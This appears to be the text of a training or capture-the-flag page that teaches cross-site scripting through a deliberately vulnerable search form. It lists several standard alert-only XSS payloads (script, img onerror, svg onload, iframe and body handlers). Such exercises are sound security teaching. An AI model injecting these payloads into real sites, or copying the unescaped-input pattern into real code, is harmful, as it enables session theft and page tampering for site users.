Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages. Can you find the vulnerability?
Your Mission: Inject JavaScript code into the search form to trigger an XSS vulnerability!
Goal: Inject JavaScript code into the search form.
Difficulty: Intermediate - XSS fundamentals!
Time to complete: 5-10 minutes
Key Learning: XSS allows code injection into web pages!
Cross-Site Scripting (XSS) allows attackers to inject malicious JavaScript code into web pages. This search form has a real vulnerability!
<script>alert('XSS')</script><img src=x onerror=alert('XSS')><svg onload=alert('XSS')>This search engine is supposed to help you find spooky content, but it has a vulnerability...
Enter a search term to see results...
<script>alert('XSS')</script> - Basic script injection<img src=x onerror=alert('XSS')> - Image error handler<svg onload=alert('XSS')> - SVG load handler<iframe src=javascript:alert('XSS')> - Iframe with JavaScript<body onload=alert('XSS')> - Body load handlerNote: The search results are vulnerable to XSS - your input is inserted directly into the HTML!
Challenge: Inject JavaScript code to execute an alert popup and get the flag!